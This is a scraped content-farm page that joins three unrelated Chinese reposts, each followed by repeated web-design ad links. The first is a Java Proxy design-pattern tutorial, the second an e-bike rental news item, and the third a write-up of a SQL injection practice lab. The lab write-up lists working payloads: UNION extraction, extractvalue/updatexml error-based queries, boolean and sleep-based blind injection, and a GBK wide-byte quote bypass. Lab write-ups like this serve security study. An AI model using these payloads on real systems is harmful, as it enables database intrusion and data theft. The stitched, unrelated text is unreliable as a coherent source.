  • Proxy(代理主題角色):它包含了對真實主題的引用,從而可以在任何時候操作真實主題對象;在代理主題角色中提供一個與真實主題角色相同的接口,以便在任何時候都可以替代真實主題;代理主題角色還可以控制對真實主題的使用,負責在需要的時候創建和刪除真實主題對象,並對真實主題對象的使用加以約束。通常,在代理主題角色中,客戶端在調用所引用的真實主題操作之前或之後還需要執行其他操作,而不僅僅是單純調用真實主題對象中的操作。

  • RealSubject(真實主題角色):它定義了代理角色所代表的真實對象,在真實主題角色中實現了真實的業務操作,客戶端可以通過代理主題角色間接調用真實主題角色中定義的操作。

模式偽代碼

代理模式的結構圖比較簡單,但是在真實的使用和實現過程中要複雜很多,特別是代理類的設計和實現。

抽象主題類聲明了真實主題類和代理類的公共方法,它可以是接口、抽象類或具體類,客戶端針對抽象主題類編程,一致性地對待真實主題和代理主題,典型的抽象主題類代碼如下:

public interface Subject {
    void request();
}

真實主題類實現了抽象主題類,提供了業務方法的具體實現,其典型代碼如下:

public class RealSubject implements Subject {
    @Override
    public void request() {
        //業務方法具體實現代碼
    }
}

代理類也是抽象主題類的子類,它維持一個對真實主題對象的引用,調用在真實主題中實現的業務方法,在調用時可以在原有業務方法的基礎上附加一些新的方法來對功能進行擴充或約束,最簡單的代理類實現代碼如下:

public class Proxy implements Subject {
    // 維持一個對真實主題對象的引用
    private RealSubject realSubject;

    public Proxy(RealSubject realSubject) {
        this.realSubject = realSubject;
    }

    public void preRequest() {
        // ...
    }

    public void postRequest() {
        // ...
    }

    @Override
    public void request() {
        preRequest();
        // 調用真實主題對象的方法
        realSubject.request();
        postRequest();
    }
}

模式應用

像上面代理類所實現的接口和所代理的方法都在代碼中寫死,被稱之為靜態代理。如果要為不同類的不同方法生成靜態代理,代理類的數量將會發生爆炸。Java中也提供了對動態代理的支持。所謂動態代理(Dynamic Proxy),是指系統運行時動態生成代理類。

JDK中提供的動態代理只能代理一個或者多個接口,如果需要動態代理具體類或者抽象類,可以使用CGLib(Code Generation Library)等工具。CGLib是一個功能較為強大、性能也較好的代碼生成包,在許多AOP框架中得到廣泛應用。後面我會專門寫一篇探究動態代理實現的博客,將全面細緻地介紹動態代理。

模式總結

代理模式是常用的結構型設計模式之一,它為對象的間接訪問提供了一個解決方案,可以對對象的訪問進行控制。代理模式類型較多,其中遠程代理、虛擬代理、保護代理等在軟件開發中應用非常廣泛。

主要優點

(1) 能夠協調調用者和被調用者,在一定程度上降低了系統的耦合度。

(2) 客戶端可以針對抽象主題角色進行編程,增加和更換代理類無須修改源代碼,符合開閉原則,系統具有較好的靈活性和可擴展性。

此外,不同類型的代理模式也具有獨特的優點,例如:

(1) 遠程代理為位於兩個不同地址空間對象的訪問提供了一種實現機制,可以將一些消耗資源較多的對象和操作移至性能更好的計算機上,提高系統的整體運行效率。

(2) 虛擬代理通過一個消耗資源較少的對象來代表一個消耗資源較多的對象,可以在一定程度上節省系統的運行開銷。

(3) 緩衝代理為某一個操作的結果提供臨時的緩存存儲空間,以便在後續使用中能夠共享這些結果,優化系統性能,縮短執行時間。

(4) 保護代理可以控制對一個對象的訪問權限,為不同用戶提供不同級別的使用權限。

主要缺點

(1) 由於在客戶端和真實主題之間增加了代理對象,因此有些類型的代理模式可能會造成請求的處理速度變慢,例如保護代理。

(2) 實現代理模式需要額外的工作,而且有些代理模式的實現過程較為複雜,例如遠程代理。

適用場景

代理模式的類型較多,不同類型的代理模式有不同的優缺點,它們應用於不同的場合:

(1) 當客戶端對象需要訪問遠程主機中的對象時可以使用遠程代理。

(2) 當需要用一個消耗資源較少的對象來代表一個消耗資源較多的對象,從而降低系統開銷、縮短運行時間時可以使用虛擬代理,例如一個對象需要很長時間才能完成加載時。

(3) 當需要為某一個被頻繁訪問的操作結果提供一個臨時存儲空間,以供多個客戶端共享訪問這些結果時可以使用緩衝代理。通過使用緩衝代理,系統無須在客戶端每一次訪問時都重新執行操作,只需直接從臨時緩衝區獲取操作結果即可。

(4) 當需要控制對一個對象的訪問,為不同用戶提供不同級別的訪問權限時可以使用保護代理。

(5) 當需要為一個對象的訪問(引用)提供一些額外的操作時可以使用智能引用代理。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

e-bike 新北正式上路 持悠遊卡就能租借

e-bike 電動自行車正式在新北市上路!台灣城市動力公司從 2014 年開始設立租借站,經過 3 個多月試營運期,近日 7 個站點陸續正式上路,目前板橋有 3 站、鶯歌 2 站、蘆洲及中和各 1 站,租借人次已逾 7,000 人次。   e-bike 為公共電動二輪車租借系統,車內附有鋰電池,可透過電池交換站系統,隨時取得電能,最大速率為 25 公里,行駛里程也為 25 公里,民眾只要持有悠遊卡就能租賃,前 30 分鐘費率為 1 元,之後每 15 分鐘 15 元。   全台第 1 站 2 月 14 日在鶯歌正式營運,至今租借次數已達 2,000 人次,但仍有部分民眾不清楚 e-bike 為何物,看到一排電動自行車停靠在老街口,還誤以為是廠商在賣車。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

pick靶場-sql注入

甲.数字型注入

数字型注入一般提交值沒有引號,所以直接在後面構造語句就可以了。

 

 

 

 抓包查看

 

 

 

 構造語句

 

 

 

 提交后

 

 

 

 

該數據庫表內容被爆出來了。

 

乙.字符型注入

 

首先我們要知道一點,字符串在數據庫中提交是需要用引號將字符串包含的。所以字符型注入一般需要用到引號來閉合字符串,閉合引號后就可以接執行的sql語句,就可以執行。

name=’kobe’

這時候需要構造語句  ‘or 1=1# 單引號是為了閉合1前面的單引號,#是為了註釋掉後面語句

 

這裏輸入kobe提交后显示了uid和email,猜測語句是 select uid,email from 表 where username=’輸入的值’

這裏要構造語句,輸入的值變成’or 1=1#。那麼查詢語句就是select uid,email from 表 where username=”or 1=1#’

閉合單引號后,把後面一個單引號註釋掉。

 

 

 

嘗試讀取數據庫信息。

使用order by 猜表字段數

 

 

 

 

 

 

表字段數為2,開始構造語句

 database() 數據庫名

 version() 數據庫版本

 user()

 

22′  union select  database(),user()#

 

這裏了解下mysql中information_schema數據庫,他可以幫助我們查詢更多信息。

 

Mysql 5.0以上中,information_schema數據庫會記錄當前數據庫信息。

information_schema.tables 表名信息

information_schema.columns  列名信息

Table_name 表名

Column_name 列名

Table_schema  數據庫名

 

group_concat用來合併多條數據記錄,可用來合併結果。

因此,查詢當前數據庫下錶名可以使用(group_concat使用與否均可,主要看返回信息。)

group_concat(table_name) from information_schema.tables where table_schema = database()

查詢表中列名

group_concat(column_name) from information_schema.columns where table_name = ‘列名’、

 

丙.搜索型注入

搜索框中的數據庫語句一般是採用的查詢語句,這裏我們先了解下sql查詢語句

SQL提供了四種匹配模式:% _ [ ] [^ ]

 

1. %

%表示模糊匹配0或多個字符,如以下查詢語句:

select * from user where name like ‘%三%’; 這個語句將會把name中帶有“三”的信息全部查找出來

select * from user where name like ‘%三’ ; 這個語句將會把name中最右邊帶有“三”的信息全部查找出來

select * from user where name like ‘三%’ ; 這個語句將會把name中最左邊帶有“三”的信息全部查找出來

 

2. _

_表示任意單個字符,如以下語句:

select * from user where name like ‘_三_’; 這個語句會匹配出“二三四”

select * from user where name like ‘__三’; 這個語句會匹配出“一二三”

 

3. [ ]

[ ]表示括號內所列字符中的一個(類似於正則表達式),如以下語句:

select * from user where name like ‘老[大二三]’; 如果都存在的話將找出“老大”、“老二”、“老三”

同時支持縮寫0-9、a-z等。

 

4.[^ ]

類似於正則表達式,將括號內的元素排除,如以下語句:

select * from user where name like ‘[0-3]個’ 將會檢索出除了“0個”,“1個”,“2個”,“3個”

————————————————

版權聲明:本文為CSDN博主「MuffinFish」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/qq_36113598/article/details/79372493

 

看題目,首先輸入ko,能夠查詢出來

 

再輸入ob,也可以查詢出來

 

 

 

很明顯,這裏使用的語句,應該是%這種類型的模糊查詢方式。

猜測語句是select username,uid,email from 表 where username=’%輸入的值%’

構造語句,直接使用’or 1=1#

‘閉合掉字符串,然後使用#註釋掉後面的%’

 

 

 

sql語句很靈活,閉合前一個語句后,可以使用聯合查詢查詢數據庫信息,比如’union select user(),2,3#

 

 

丁.xx注入

先試一試’union select 1,2#

報錯显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select 1,2,3#’)’ at line 1

發現我們寫的語句後面有個引號和括號,嘗試構造語句閉合

‘) union select 1,2,3#

報錯select列的數量不匹配,說明執行了我們構造的語句。嘗試改成’) union select 1,2#

 

 

爆表數據就要用 ‘)or 1=1#

 

 

戊.insert/update注入

insert/update/delete注入

在這3種情況中,我們不能使用 union 去做聯合查詢,因為這不是查詢,而是操作。首先猜測語句類型,是查詢類的可以通過union語句來查詢。

 

首先,添加用戶的地方是對數據庫表進行寫入操作。

我們要了解,sql中寫入新數據,用的語句是

INSERT INTO 表名稱 VALUES (值1, 值2,….)

我們也可以指定所要插入數據的列:

INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,….)

使提交報錯也印證了語句是用是insert into語句

 

 

 

首先要了解insert注入一般使用的語句

extractvalue(1,concat(0x7e,(database()))) and ‘1’=’1′

extractvalue() :對XML文檔進行查詢的函數

語法:extractvalue(目標xml文檔,xml路徑)

第二個參數 xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

 

正常查詢 第二個參數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

 

concat函數是mysql的字符串連接函數

裏面可以執行sql語句

select concat(0x7e,(select user()) ,0x7e)

驗證結果:16進制也能被自動轉義(0x7e是 ~符號)

 

 

下面故意寫入語法錯誤:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

 

 

 https://blog.csdn.net/zpy1998zpy/article/details/80631036

 就是使extractvalue函數中第二個參數變成~select detabase(),這樣與extractvalue函數規定的語法不同,就會引起報錯。

在寫入數據的地方使用構造語句

ttt’and extractvalue(1,concat(0x7e,(database()))) and ‘1’=’1

 

 

 

 

updatexml()

做數據修改的時候會存在update注入的地方

 

updatexml()函數與extractvalue()類似,是更新xml文檔的函數。

語法updatexml(目標xml文檔,xml路徑,更新的內容)

報錯語句為

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

 

 

構造語句

aa’ and updatexml(1,concat(0x7e,(database())),1) and ‘1’=’1

 

 

 其實也可以使用extractvalue(),只要有報錯,會執行我們構造的語句就成。

 

 

己.delete注入

sql中刪除數據一般使用

DELETE 語句

DELETE 語句用於刪除表中的行。

語法

DELETE FROM 表名稱 WHERE 列名稱 = 值

 

點擊刪除

 

 

抓包看

 

 刪除的列名為id,值為59。不為字符串,可直接構造語句

and extractvalue(1,concat(0x7e,(database())))

 url上改直接輸入

 

 

改數據包需要使用空格實體或者+

 

 

庚.http header

web滲透很多地方都涉及到數據包頭部的改寫,我這裏就不多說。

 

 

這題很坑的地方在於,不了解後端代碼是怎麼寫的做起來很彆扭,因為這題目要显示出包頭的信息根本不需要將包頭信息存儲在數據庫中。代碼里倒是寫進數據庫了,但後面調用是直接讀前端獲取到的頭部信息,沒有從數據庫中讀取,可能作者是想做個類似訪問記錄的東西。

 

辛.boolian盲注

根據返回信息判斷語句是否正確。

基於真假的盲注主要特徵

  • 沒有報錯信息
  • 不管是正確的輸入,還是錯誤的輸入,都只有兩種情況(可以看做 0 or 1)
  • 在正確的輸入下,後面跟 and 1=1 / and 1=2 進行判斷

 

kobe’ and 1=1#
kobe’ and 1=2#

發現一條正確執行,一條显示用戶名不存在,說明後台存在 SQL 注入漏洞

length(database()) 判斷 數據庫名稱的長度

kobe’ and length(database()) >5#

 

SUBSTR函數

 substr(database(), 1, 1) 截取數據庫名稱第一個字符

ascii(substr(database(), 1, 1)) 截取數據庫名稱第一個字符,轉換成ascii值

kobe’ and ascii(substr(database(), 1, 1)) > 105# 判斷數據庫名稱第一個字符ascii值的大小

 

判斷出數據庫名稱后可以使用substr(database(),1,1)=’字母’#

進行爆破,然後substr(database(),2,1)=’字母’#依次爆破,得出完整數據庫名。

 

這裏簡要說明下SUBSTR函數:

SUBSTR函數是用來截取數據庫某一列字段中的一部分。

在各個數據庫的函數名稱不一樣

MySQL: SUBSTR( ), SUBSTRING( )

Oracle: SUBSTR( )

SQL Server: SUBSTRING( ) ;

常用的方式是:

SBUSTR(str,pos);

就是從pos開始的位置,一直截取到最後。

 

還有一種比較常用的是:

SUBSTR(str,pos,len);

這種表示的意思是,就是從pos開始的位置,截取len個字符(空白也算字符)。

需要注意的是:如果pos為1(而不是0),表示從第一個位置開始。

————————————————

版權聲明:SUBSTR函數說明為CSDN博主「呼嘯」的原創,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/howlaa/article/details/16825761

 

壬.延時盲注

構造語句,使語句提交操作延時,來判斷構造的語句是否正確。

kobe’ and sleep(3)#

該語句表示如果存在kobe,則延時提交3秒。

根據這個方法,可以組合其他語句來猜解當前數據庫信息。

 

lili’ and if(substr(database(),1,1)=’p’,sleep(5),1)#

 

 

 

盲注可以通過爆破來輔助猜解,具體參考https://www.cnblogs.com/paperpen/p/12324363.html

 

癸.寬字節注入

寬字節注入是因為數據庫使用了GBK編碼,多字節的編碼,兩個字節代表一個漢字。

注入中單引號存在被反斜杠轉義的情況。\’,其中\的十六進制是 %5C。%df’被轉義成%df\’,就變成了%df\’=%df%5c%27,%df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’。單引號就可以按照初期想法被識別。

構造語句kobe%df%27 or 1=1#,通過網頁修改無效,直接修改數據包,成功。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!